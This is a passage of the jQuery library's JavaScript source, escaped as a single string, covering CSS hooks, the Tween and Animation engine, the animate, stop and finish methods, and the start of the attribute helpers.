expanded;\n\t\t}\n\t};\n\n\tif ( prefix !== \"margin\" ) {\n\t\tjQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;\n\t}\n} );\n\njQuery.fn.extend( {\n\tcss: function( name, value ) {\n\t\treturn access( this, function( elem, name, value ) {\n\t\t\tvar styles, len,\n\t\t\t\tmap = {},\n\t\t\t\ti = 0;\n\n\t\t\tif ( Array.isArray( name ) ) {\n\t\t\t\tstyles = getStyles( elem );\n\t\t\t\tlen = name.length;\n\n\t\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\t\tmap[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );\n\t\t\t\t}\n\n\t\t\t\treturn map;\n\t\t\t}\n\n\t\t\treturn value !== undefined ?\n\t\t\t\tjQuery.style( elem, name, value ) :\n\t\t\t\tjQuery.css( elem, name );\n\t\t}, name, value, arguments.length > 1 );\n\t}\n} );\n\n\nfunction Tween( elem, options, prop, end, easing ) {\n\treturn new Tween.prototype.init( elem, options, prop, end, easing );\n}\njQuery.Tween = Tween;\n\nTween.prototype = {\n\tconstructor: Tween,\n\tinit: function( elem, options, prop, end, easing, unit ) {\n\t\tthis.elem = elem;\n\t\tthis.prop = prop;\n\t\tthis.easing = easing || jQuery.easing._default;\n\t\tthis.options = options;\n\t\tthis.start = this.now = this.cur();\n\t\tthis.end = end;\n\t\tthis.unit = unit || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" );\n\t},\n\tcur: function() {\n\t\tvar hooks = Tween.propHooks[ this.prop ];\n\n\t\treturn hooks && hooks.get ?\n\t\t\thooks.get( this ) :\n\t\t\tTween.propHooks._default.get( this );\n\t},\n\trun: function( percent ) {\n\t\tvar eased,\n\t\t\thooks = Tween.propHooks[ this.prop ];\n\n\t\tif ( this.options.duration ) {\n\t\t\tthis.pos = eased = jQuery.easing[ this.easing ](\n\t\t\t\tpercent, this.options.duration * percent, 0, 1, this.options.duration\n\t\t\t);\n\t\t} else {\n\t\t\tthis.pos = eased = percent;\n\t\t}\n\t\tthis.now = ( this.end - this.start ) * eased + this.start;\n\n\t\tif ( this.options.step ) {\n\t\t\tthis.options.step.call( this.elem, this.now, this );\n\t\t}\n\n\t\tif ( hooks && hooks.set ) {\n\t\t\thooks.set( this );\n\t\t} else {\n\t\t\tTween.propHooks._default.set( this );\n\t\t}\n\t\treturn this;\n\t}\n};\n\nTween.prototype.init.prototype = Tween.prototype;\n\nTween.propHooks = {\n\t_default: {\n\t\tget: function( tween ) {\n\t\t\tvar result;\n\n\t\t\t// Use a property on the element directly when it is not a DOM element,\n\t\t\t// or when there is no matching style property that exists.\n\t\t\tif ( tween.elem.nodeType !== 1 ||\n\t\t\t\ttween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) {\n\t\t\t\treturn tween.elem[ tween.prop ];\n\t\t\t}\n\n\t\t\t// Passing an empty string as a 3rd parameter to .css will automatically\n\t\t\t// attempt a parseFloat and fallback to a string if the parse fails.\n\t\t\t// Simple values such as \"10px\" are parsed to Float;\n\t\t\t// complex values such as \"rotate(1rad)\" are returned as-is.\n\t\t\tresult = jQuery.css( tween.elem, tween.prop, \"\" );\n\n\t\t\t// Empty strings, null, undefined and \"auto\" are converted to 0.\n\t\t\treturn !result || result === \"auto\" ? 0 : result;\n\t\t},\n\t\tset: function( tween ) {\n\n\t\t\t// Use step hook for back compat.\n\t\t\t// Use cssHook if its there.\n\t\t\t// Use .style if available and use plain properties where available.\n\t\t\tif ( jQuery.fx.step[ tween.prop ] ) {\n\t\t\t\tjQuery.fx.step[ tween.prop ]( tween );\n\t\t\t} else if ( tween.elem.nodeType === 1 && (\n\t\t\t\tjQuery.cssHooks[ tween.prop ] ||\n\t\t\t\t\ttween.elem.style[ finalPropName( tween.prop ) ] != null ) ) {\n\t\t\t\tjQuery.style( tween.elem, tween.prop, tween.now + tween.unit );\n\t\t\t} else {\n\t\t\t\ttween.elem[ tween.prop ] = tween.now;\n\t\t\t}\n\t\t}\n\t}\n};\n\n// Support: IE <=9 only\n// Panic based approach to setting things on disconnected nodes\nTween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {\n\tset: function( tween ) {\n\t\tif ( tween.elem.nodeType && tween.elem.parentNode ) {\n\t\t\ttween.elem[ tween.prop ] = tween.now;\n\t\t}\n\t}\n};\n\njQuery.easing = {\n\tlinear: function( p ) {\n\t\treturn p;\n\t},\n\tswing: function( p ) {\n\t\treturn 0.5 - Math.cos( p * Math.PI ) / 2;\n\t},\n\t_default: \"swing\"\n};\n\njQuery.fx = Tween.prototype.init;\n\n// Back compat <1.8 extension point\njQuery.fx.step = {};\n\n\n\n\nvar\n\tfxNow, inProgress,\n\trfxtypes = /^(?:toggle|show|hide)$/,\n\trrun = /queueHooks$/;\n\nfunction schedule() {\n\tif ( inProgress ) {\n\t\tif ( document.hidden === false && window.requestAnimationFrame ) {\n\t\t\twindow.requestAnimationFrame( schedule );\n\t\t} else {\n\t\t\twindow.setTimeout( schedule, jQuery.fx.interval );\n\t\t}\n\n\t\tjQuery.fx.tick();\n\t}\n}\n\n// Animations created synchronously will run synchronously\nfunction createFxNow() {\n\twindow.setTimeout( function() {\n\t\tfxNow = undefined;\n\t} );\n\treturn ( fxNow = Date.now() );\n}\n\n// Generate parameters to create a standard animation\nfunction genFx( type, includeWidth ) {\n\tvar which,\n\t\ti = 0,\n\t\tattrs = { height: type };\n\n\t// If we include width, step value is 1 to do all cssExpand values,\n\t// otherwise step value is 2 to skip over Left and Right\n\tincludeWidth = includeWidth ? 1 : 0;\n\tfor ( ; i < 4; i += 2 - includeWidth ) {\n\t\twhich = cssExpand[ i ];\n\t\tattrs[ \"margin\" + which ] = attrs[ \"padding\" + which ] = type;\n\t}\n\n\tif ( includeWidth ) {\n\t\tattrs.opacity = attrs.width = type;\n\t}\n\n\treturn attrs;\n}\n\nfunction createTween( value, prop, animation ) {\n\tvar tween,\n\t\tcollection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ \"*\" ] ),\n\t\tindex = 0,\n\t\tlength = collection.length;\n\tfor ( ; index < length; index++ ) {\n\t\tif ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {\n\n\t\t\t// We're done with this property\n\t\t\treturn tween;\n\t\t}\n\t}\n}\n\nfunction defaultPrefilter( elem, props, opts ) {\n\tvar prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display,\n\t\tisBox = \"width\" in props || \"height\" in props,\n\t\tanim = this,\n\t\torig = {},\n\t\tstyle = elem.style,\n\t\thidden = elem.nodeType && isHiddenWithinTree( elem ),\n\t\tdataShow = dataPriv.get( elem, \"fxshow\" );\n\n\t// Queue-skipping animations hijack the fx hooks\n\tif ( !opts.queue ) {\n\t\thooks = jQuery._queueHooks( elem, \"fx\" );\n\t\tif ( hooks.unqueued == null ) {\n\t\t\thooks.unqueued = 0;\n\t\t\toldfire = hooks.empty.fire;\n\t\t\thooks.empty.fire = function() {\n\t\t\t\tif ( !hooks.unqueued ) {\n\t\t\t\t\toldfire();\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t\thooks.unqueued++;\n\n\t\tanim.always( function() {\n\n\t\t\t// Ensure the complete handler is called before this completes\n\t\t\tanim.always( function() {\n\t\t\t\thooks.unqueued--;\n\t\t\t\tif ( !jQuery.queue( elem, \"fx\" ).length ) {\n\t\t\t\t\thooks.empty.fire();\n\t\t\t\t}\n\t\t\t} );\n\t\t} );\n\t}\n\n\t// Detect show/hide animations\n\tfor ( prop in props ) {\n\t\tvalue = props[ prop ];\n\t\tif ( rfxtypes.test( value ) ) {\n\t\t\tdelete props[ prop ];\n\t\t\ttoggle = toggle || value === \"toggle\";\n\t\t\tif ( value === ( hidden ? \"hide\" : \"show\" ) ) {\n\n\t\t\t\t// Pretend to be hidden if this is a \"show\" and\n\t\t\t\t// there is still data from a stopped show/hide\n\t\t\t\tif ( value === \"show\" && dataShow && dataShow[ prop ] !== undefined ) {\n\t\t\t\t\thidden = true;\n\n\t\t\t\t// Ignore all other no-op show/hide data\n\t\t\t\t} else {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\torig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );\n\t\t}\n\t}\n\n\t// Bail out if this is a no-op like .hide().hide()\n\tpropTween = !jQuery.isEmptyObject( props );\n\tif ( !propTween && jQuery.isEmptyObject( orig ) ) {\n\t\treturn;\n\t}\n\n\t// Restrict \"overflow\" and \"display\" styles during box animations\n\tif ( isBox && elem.nodeType === 1 ) {\n\n\t\t// Support: IE <=9 - 11, Edge 12 - 15\n\t\t// Record all 3 overflow attributes because IE does not infer the shorthand\n\t\t// from identically-valued overflowX and overflowY and Edge just mirrors\n\t\t// the overflowX value there.\n\t\topts.overflow = [ style.overflow, style.overflowX, style.overflowY ];\n\n\t\t// Identify a display type, preferring old show/hide data over the CSS cascade\n\t\trestoreDisplay = dataShow && dataShow.display;\n\t\tif ( restoreDisplay == null ) {\n\t\t\trestoreDisplay = dataPriv.get( elem, \"display\" );\n\t\t}\n\t\tdisplay = jQuery.css( elem, \"display\" );\n\t\tif ( display === \"none\" ) {\n\t\t\tif ( restoreDisplay ) {\n\t\t\t\tdisplay = restoreDisplay;\n\t\t\t} else {\n\n\t\t\t\t// Get nonempty value(s) by temporarily forcing visibility\n\t\t\t\tshowHide( [ elem ], true );\n\t\t\t\trestoreDisplay = elem.style.display || restoreDisplay;\n\t\t\t\tdisplay = jQuery.css( elem, \"display\" );\n\t\t\t\tshowHide( [ elem ] );\n\t\t\t}\n\t\t}\n\n\t\t// Animate inline elements as inline-block\n\t\tif ( display === \"inline\" || display === \"inline-block\" && restoreDisplay != null ) {\n\t\t\tif ( jQuery.css( elem, \"float\" ) === \"none\" ) {\n\n\t\t\t\t// Restore the original display value at the end of pure show/hide animations\n\t\t\t\tif ( !propTween ) {\n\t\t\t\t\tanim.done( function() {\n\t\t\t\t\t\tstyle.display = restoreDisplay;\n\t\t\t\t\t} );\n\t\t\t\t\tif ( restoreDisplay == null ) {\n\t\t\t\t\t\tdisplay = style.display;\n\t\t\t\t\t\trestoreDisplay = display === \"none\" ? \"\" : display;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tstyle.display = \"inline-block\";\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( opts.overflow ) {\n\t\tstyle.overflow = \"hidden\";\n\t\tanim.always( function() {\n\t\t\tstyle.overflow = opts.overflow[ 0 ];\n\t\t\tstyle.overflowX = opts.overflow[ 1 ];\n\t\t\tstyle.overflowY = opts.overflow[ 2 ];\n\t\t} );\n\t}\n\n\t// Implement show/hide animations\n\tpropTween = false;\n\tfor ( prop in orig ) {\n\n\t\t// General show/hide setup for this element animation\n\t\tif ( !propTween ) {\n\t\t\tif ( dataShow ) {\n\t\t\t\tif ( \"hidden\" in dataShow ) {\n\t\t\t\t\thidden = dataShow.hidden;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdataShow = dataPriv.access( elem, \"fxshow\", { display: restoreDisplay } );\n\t\t\t}\n\n\t\t\t// Store hidden/visible for toggle so `.stop().toggle()` \"reverses\"\n\t\t\tif ( toggle ) {\n\t\t\t\tdataShow.hidden = !hidden;\n\t\t\t}\n\n\t\t\t// Show elements before animating them\n\t\t\tif ( hidden ) {\n\t\t\t\tshowHide( [ elem ], true );\n\t\t\t}\n\n\t\t\t/* eslint-disable no-loop-func */\n\n\t\t\tanim.done( function() {\n\n\t\t\t\t/* eslint-enable no-loop-func */\n\n\t\t\t\t// The final step of a \"hide\" animation is actually hiding the element\n\t\t\t\tif ( !hidden ) {\n\t\t\t\t\tshowHide( [ elem ] );\n\t\t\t\t}\n\t\t\t\tdataPriv.remove( elem, \"fxshow\" );\n\t\t\t\tfor ( prop in orig ) {\n\t\t\t\t\tjQuery.style( elem, prop, orig[ prop ] );\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\n\t\t// Per-property setup\n\t\tpropTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );\n\t\tif ( !( prop in dataShow ) ) {\n\t\t\tdataShow[ prop ] = propTween.start;\n\t\t\tif ( hidden ) {\n\t\t\t\tpropTween.end = propTween.start;\n\t\t\t\tpropTween.start = 0;\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunction propFilter( props, specialEasing ) {\n\tvar index, name, easing, value, hooks;\n\n\t// camelCase, specialEasing and expand cssHook pass\n\tfor ( index in props ) {\n\t\tname = camelCase( index );\n\t\teasing = specialEasing[ name ];\n\t\tvalue = props[ index ];\n\t\tif ( Array.isArray( value ) ) {\n\t\t\teasing = value[ 1 ];\n\t\t\tvalue = props[ index ] = value[ 0 ];\n\t\t}\n\n\t\tif ( index !== name ) {\n\t\t\tprops[ name ] = value;\n\t\t\tdelete props[ index ];\n\t\t}\n\n\t\thooks = jQuery.cssHooks[ name ];\n\t\tif ( hooks && \"expand\" in hooks ) {\n\t\t\tvalue = hooks.expand( value );\n\t\t\tdelete props[ name ];\n\n\t\t\t// Not quite $.extend, this won't overwrite existing keys.\n\t\t\t// Reusing 'index' because we have the correct \"name\"\n\t\t\tfor ( index in value ) {\n\t\t\t\tif ( !( index in props ) ) {\n\t\t\t\t\tprops[ index ] = value[ index ];\n\t\t\t\t\tspecialEasing[ index ] = easing;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tspecialEasing[ name ] = easing;\n\t\t}\n\t}\n}\n\nfunction Animation( elem, properties, options ) {\n\tvar result,\n\t\tstopped,\n\t\tindex = 0,\n\t\tlength = Animation.prefilters.length,\n\t\tdeferred = jQuery.Deferred().always( function() {\n\n\t\t\t// Don't match elem in the :animated selector\n\t\t\tdelete tick.elem;\n\t\t} ),\n\t\ttick = function() {\n\t\t\tif ( stopped ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tvar currentTime = fxNow || createFxNow(),\n\t\t\t\tremaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),\n\n\t\t\t\t// Support: Android 2.3 only\n\t\t\t\t// Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (trac-12497)\n\t\t\t\ttemp = remaining / animation.duration || 0,\n\t\t\t\tpercent = 1 - temp,\n\t\t\t\tindex = 0,\n\t\t\t\tlength = animation.tweens.length;\n\n\t\t\tfor ( ; index < length; index++ ) {\n\t\t\t\tanimation.tweens[ index ].run( percent );\n\t\t\t}\n\n\t\t\tdeferred.notifyWith( elem, [ animation, percent, remaining ] );\n\n\t\t\t// If there's more to do, yield\n\t\t\tif ( percent < 1 && length ) {\n\t\t\t\treturn remaining;\n\t\t\t}\n\n\t\t\t// If this was an empty animation, synthesize a final progress notification\n\t\t\tif ( !length ) {\n\t\t\t\tdeferred.notifyWith( elem, [ animation, 1, 0 ] );\n\t\t\t}\n\n\t\t\t// Resolve the animation and report its conclusion\n\t\t\tdeferred.resolveWith( elem, [ animation ] );\n\t\t\treturn false;\n\t\t},\n\t\tanimation = deferred.promise( {\n\t\t\telem: elem,\n\t\t\tprops: jQuery.extend( {}, properties ),\n\t\t\topts: jQuery.extend( true, {\n\t\t\t\tspecialEasing: {},\n\t\t\t\teasing: jQuery.easing._default\n\t\t\t}, options ),\n\t\t\toriginalProperties: properties,\n\t\t\toriginalOptions: options,\n\t\t\tstartTime: fxNow || createFxNow(),\n\t\t\tduration: options.duration,\n\t\t\ttweens: [],\n\t\t\tcreateTween: function( prop, end ) {\n\t\t\t\tvar tween = jQuery.Tween( elem, animation.opts, prop, end,\n\t\t\t\t\tanimation.opts.specialEasing[ prop ] || animation.opts.easing );\n\t\t\t\tanimation.tweens.push( tween );\n\t\t\t\treturn tween;\n\t\t\t},\n\t\t\tstop: function( gotoEnd ) {\n\t\t\t\tvar index = 0,\n\n\t\t\t\t\t// If we are going to the end, we want to run all the tweens\n\t\t\t\t\t// otherwise we skip this part\n\t\t\t\t\tlength = gotoEnd ? animation.tweens.length : 0;\n\t\t\t\tif ( stopped ) {\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t\tstopped = true;\n\t\t\t\tfor ( ; index < length; index++ ) {\n\t\t\t\t\tanimation.tweens[ index ].run( 1 );\n\t\t\t\t}\n\n\t\t\t\t// Resolve when we played the last frame; otherwise, reject\n\t\t\t\tif ( gotoEnd ) {\n\t\t\t\t\tdeferred.notifyWith( elem, [ animation, 1, 0 ] );\n\t\t\t\t\tdeferred.resolveWith( elem, [ animation, gotoEnd ] );\n\t\t\t\t} else {\n\t\t\t\t\tdeferred.rejectWith( elem, [ animation, gotoEnd ] );\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t}\n\t\t} ),\n\t\tprops = animation.props;\n\n\tpropFilter( props, animation.opts.specialEasing );\n\n\tfor ( ; index < length; index++ ) {\n\t\tresult = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );\n\t\tif ( result ) {\n\t\t\tif ( isFunction( result.stop ) ) {\n\t\t\t\tjQuery._queueHooks( animation.elem, animation.opts.queue ).stop =\n\t\t\t\t\tresult.stop.bind( result );\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\n\tjQuery.map( props, createTween, animation );\n\n\tif ( isFunction( animation.opts.start ) ) {\n\t\tanimation.opts.start.call( elem, animation );\n\t}\n\n\t// Attach callbacks from options\n\tanimation\n\t\t.progress( animation.opts.progress )\n\t\t.done( animation.opts.done, animation.opts.complete )\n\t\t.fail( animation.opts.fail )\n\t\t.always( animation.opts.always );\n\n\tjQuery.fx.timer(\n\t\tjQuery.extend( tick, {\n\t\t\telem: elem,\n\t\t\tanim: animation,\n\t\t\tqueue: animation.opts.queue\n\t\t} )\n\t);\n\n\treturn animation;\n}\n\njQuery.Animation = jQuery.extend( Animation, {\n\n\ttweeners: {\n\t\t\"*\": [ function( prop, value ) {\n\t\t\tvar tween = this.createTween( prop, value );\n\t\t\tadjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );\n\t\t\treturn tween;\n\t\t} ]\n\t},\n\n\ttweener: function( props, callback ) {\n\t\tif ( isFunction( props ) ) {\n\t\t\tcallback = props;\n\t\t\tprops = [ \"*\" ];\n\t\t} else {\n\t\t\tprops = props.match( rnothtmlwhite );\n\t\t}\n\n\t\tvar prop,\n\t\t\tindex = 0,\n\t\t\tlength = props.length;\n\n\t\tfor ( ; index < length; index++ ) {\n\t\t\tprop = props[ index ];\n\t\t\tAnimation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];\n\t\t\tAnimation.tweeners[ prop ].unshift( callback );\n\t\t}\n\t},\n\n\tprefilters: [ defaultPrefilter ],\n\n\tprefilter: function( callback, prepend ) {\n\t\tif ( prepend ) {\n\t\t\tAnimation.prefilters.unshift( callback );\n\t\t} else {\n\t\t\tAnimation.prefilters.push( callback );\n\t\t}\n\t}\n} );\n\njQuery.speed = function( speed, easing, fn ) {\n\tvar opt = speed && typeof speed === \"object\" ? jQuery.extend( {}, speed ) : {\n\t\tcomplete: fn || !fn && easing ||\n\t\t\tisFunction( speed ) && speed,\n\t\tduration: speed,\n\t\teasing: fn && easing || easing && !isFunction( easing ) && easing\n\t};\n\n\t// Go to the end state if fx are off\n\tif ( jQuery.fx.off ) {\n\t\topt.duration = 0;\n\n\t} else {\n\t\tif ( typeof opt.duration !== \"number\" ) {\n\t\t\tif ( opt.duration in jQuery.fx.speeds ) {\n\t\t\t\topt.duration = jQuery.fx.speeds[ opt.duration ];\n\n\t\t\t} else {\n\t\t\t\topt.duration = jQuery.fx.speeds._default;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Normalize opt.queue - true/undefined/null -> \"fx\"\n\tif ( opt.queue == null || opt.queue === true ) {\n\t\topt.queue = \"fx\";\n\t}\n\n\t// Queueing\n\topt.old = opt.complete;\n\n\topt.complete = function() {\n\t\tif ( isFunction( opt.old ) ) {\n\t\t\topt.old.call( this );\n\t\t}\n\n\t\tif ( opt.queue ) {\n\t\t\tjQuery.dequeue( this, opt.queue );\n\t\t}\n\t};\n\n\treturn opt;\n};\n\njQuery.fn.extend( {\n\tfadeTo: function( speed, to, easing, callback ) {\n\n\t\t// Show any hidden elements after setting opacity to 0\n\t\treturn this.filter( isHiddenWithinTree ).css( \"opacity\", 0 ).show()\n\n\t\t\t// Animate to the value specified\n\t\t\t.end().animate( { opacity: to }, speed, easing, callback );\n\t},\n\tanimate: function( prop, speed, easing, callback ) {\n\t\tvar empty = jQuery.isEmptyObject( prop ),\n\t\t\toptall = jQuery.speed( speed, easing, callback ),\n\t\t\tdoAnimation = function() {\n\n\t\t\t\t// Operate on a copy of prop so per-property easing won't be lost\n\t\t\t\tvar anim = Animation( this, jQuery.extend( {}, prop ), optall );\n\n\t\t\t\t// Empty animations, or finishing resolves immediately\n\t\t\t\tif ( empty || dataPriv.get( this, \"finish\" ) ) {\n\t\t\t\t\tanim.stop( true );\n\t\t\t\t}\n\t\t\t};\n\n\t\tdoAnimation.finish = doAnimation;\n\n\t\treturn empty || optall.queue === false ?\n\t\t\tthis.each( doAnimation ) :\n\t\t\tthis.queue( optall.queue, doAnimation );\n\t},\n\tstop: function( type, clearQueue, gotoEnd ) {\n\t\tvar stopQueue = function( hooks ) {\n\t\t\tvar stop = hooks.stop;\n\t\t\tdelete hooks.stop;\n\t\t\tstop( gotoEnd );\n\t\t};\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tgotoEnd = clearQueue;\n\t\t\tclearQueue = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\tif ( clearQueue ) {\n\t\t\tthis.queue( type || \"fx\", [] );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar dequeue = true,\n\t\t\t\tindex = type != null && type + \"queueHooks\",\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tdata = dataPriv.get( this );\n\n\t\t\tif ( index ) {\n\t\t\t\tif ( data[ index ] && data[ index ].stop ) {\n\t\t\t\t\tstopQueue( data[ index ] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( index in data ) {\n\t\t\t\t\tif ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {\n\t\t\t\t\t\tstopQueue( data[ index ] );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this &&\n\t\t\t\t\t( type == null || timers[ index ].queue === type ) ) {\n\n\t\t\t\t\ttimers[ index ].anim.stop( gotoEnd );\n\t\t\t\t\tdequeue = false;\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Start the next in the queue if the last step wasn't forced.\n\t\t\t// Timers currently will call their complete callbacks, which\n\t\t\t// will dequeue but only if they were gotoEnd.\n\t\t\tif ( dequeue || !gotoEnd ) {\n\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t}\n\t\t} );\n\t},\n\tfinish: function( type ) {\n\t\tif ( type !== false ) {\n\t\t\ttype = type || \"fx\";\n\t\t}\n\t\treturn this.each( function() {\n\t\t\tvar index,\n\t\t\t\tdata = dataPriv.get( this ),\n\t\t\t\tqueue = data[ type + \"queue\" ],\n\t\t\t\thooks = data[ type + \"queueHooks\" ],\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tlength = queue ? queue.length : 0;\n\n\t\t\t// Enable finishing flag on private data\n\t\t\tdata.finish = true;\n\n\t\t\t// Empty the queue first\n\t\t\tjQuery.queue( this, type, [] );\n\n\t\t\tif ( hooks && hooks.stop ) {\n\t\t\t\thooks.stop.call( this, true );\n\t\t\t}\n\n\t\t\t// Look for any active animations, and finish them\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this && timers[ index ].queue === type ) {\n\t\t\t\t\ttimers[ index ].anim.stop( true );\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Look for any animations in the old queue and finish them\n\t\t\tfor ( index = 0; index < length; index++ ) {\n\t\t\t\tif ( queue[ index ] && queue[ index ].finish ) {\n\t\t\t\t\tqueue[ index ].finish.call( this );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Turn off finishing flag\n\t\t\tdelete data.finish;\n\t\t} );\n\t}\n} );\n\njQuery.each( [ \"toggle\", \"show\", \"hide\" ], function( _i, name ) {\n\tvar cssFn = jQuery.fn[ name ];\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn speed == null || typeof speed === \"boolean\" ?\n\t\t\tcssFn.apply( this, arguments ) :\n\t\t\tthis.animate( genFx( name, true ), speed, easing, callback );\n\t};\n} );\n\n// Generate shortcuts for custom animations\njQuery.each( {\n\tslideDown: genFx( \"show\" ),\n\tslideUp: genFx( \"hide\" ),\n\tslideToggle: genFx( \"toggle\" ),\n\tfadeIn: { opacity: \"show\" },\n\tfadeOut: { opacity: \"hide\" },\n\tfadeToggle: { opacity: \"toggle\" }\n}, function( name, props ) {\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn this.animate( props, speed, easing, callback );\n\t};\n} );\n\njQuery.timers = [];\njQuery.fx.tick = function() {\n\tvar timer,\n\t\ti = 0,\n\t\ttimers = jQuery.timers;\n\n\tfxNow = Date.now();\n\n\tfor ( ; i < timers.length; i++ ) {\n\t\ttimer = timers[ i ];\n\n\t\t// Run the timer and safely remove it when done (allowing for external removal)\n\t\tif ( !timer() && timers[ i ] === timer ) {\n\t\t\ttimers.splice( i--, 1 );\n\t\t}\n\t}\n\n\tif ( !timers.length ) {\n\t\tjQuery.fx.stop();\n\t}\n\tfxNow = undefined;\n};\n\njQuery.fx.timer = function( timer ) {\n\tjQuery.timers.push( timer );\n\tjQuery.fx.start();\n};\n\njQuery.fx.interval = 13;\njQuery.fx.start = function() {\n\tif ( inProgress ) {\n\t\treturn;\n\t}\n\n\tinProgress = true;\n\tschedule();\n};\n\njQuery.fx.stop = function() {\n\tinProgress = null;\n};\n\njQuery.fx.speeds = {\n\tslow: 600,\n\tfast: 200,\n\n\t// Default speed\n\t_default: 400\n};\n\n\n// Based off of the plugin by Clint Helfers, with permission.\njQuery.fn.delay = function( time, type ) {\n\ttime = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;\n\ttype = type || \"fx\";\n\n\treturn this.queue( type, function( next, hooks ) {\n\t\tvar timeout = window.setTimeout( next, time );\n\t\thooks.stop = function() {\n\t\t\twindow.clearTimeout( timeout );\n\t\t};\n\t} );\n};\n\n\n( function() {\n\tvar input = document.createElement( \"input\" ),\n\t\tselect = document.createElement( \"select\" ),\n\t\topt = select.appendChild( document.createElement( \"option\" ) );\n\n\tinput.type = \"checkbox\";\n\n\t// Support: Android <=4.3 only\n\t// Default value for a checkbox should be \"on\"\n\tsupport.checkOn = input.value !== \"\";\n\n\t// Support: IE <=11 only\n\t// Must access selectedIndex to make default options select\n\tsupport.optSelected = opt.selected;\n\n\t// Support: IE <=11 only\n\t// An input loses its value after becoming a radio\n\tinput = document.createElement( \"input\" );\n\tinput.value = \"t\";\n\tinput.type = \"radio\";\n\tsupport.radioValue = input.value === \"t\";\n} )();\n\n\nvar boolHook,\n\tattrHandle = jQuery.expr.attrHandle;\n\njQuery.fn.extend( {\n\tattr: function( name, value ) {\n\t\treturn access( this, jQuery.attr, name, value, arguments.length > 1 );\n\t},\n\n\tremoveAttr: function( name ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.removeAttr( this, name );\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tattr: function( elem, name, value ) {\n\t\tvar ret, hooks,\n\t\t\tnType = elem.nodeType;\n\n\t\t// Don't get/set attributes on text, comment and attribute nodes\n\t\tif ( nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Fallback to prop when attributes are not supported\n\t\tif ( typeof elem.getAttribute === \"undefined\" ) {\n\t\t\treturn jQuery.prop( elem, name, value );\n\t\t}\n\n\t\t// Attribute hooks are determined by the lowercase version\n\t\t// Grab necessary hook if one is defined\n\t\tif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\t\t\thooks = jQuery.attrHooks[ name.toLowerCase() ] ||\n\t\t\t\t( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( value === null ) {\n\t\t\t\tjQuery.removeAttr( elem, name );\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( hooks && \"set\" in hooks &&\n\t\t\t\t( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\telem.setAttribute( name, value + \"\" );\n\t\t\treturn value;\n\t\t}\n\n\t\tif ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\tret = jQuery.find.attr( elem, name );\n\n\t\t// Non-existent attributes return null, we normalize to undefined\n\t\treturn ret == null ? undefined : ret;\n\t},\n\n\tattrHooks: {\n\t\ttype: {\n\t\t\tset: function( elem, value ) {\n\t\t\t\tif ( !support.radioValue && value === \"radio\" &&\n\t\t\t\t\tnodeName( elem, \"input\" ) ) {\n\t\t\t\t\tvar val = elem.value;\n\t\t\t\t\telem.setAttribute( \"type\", value );\n\t\t\t\t\tif ( val ) {\n\t\t\t\t\t\telem.value = val;\n\t\t\t\t\t}\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\tremoveAttr: function( elem, value ) {\n\t\tvar name,\n\t\t\ti = 0,\n\n\t\t\t// Attribute names can contain non-HTML whitespace characters\n\t\t\t// 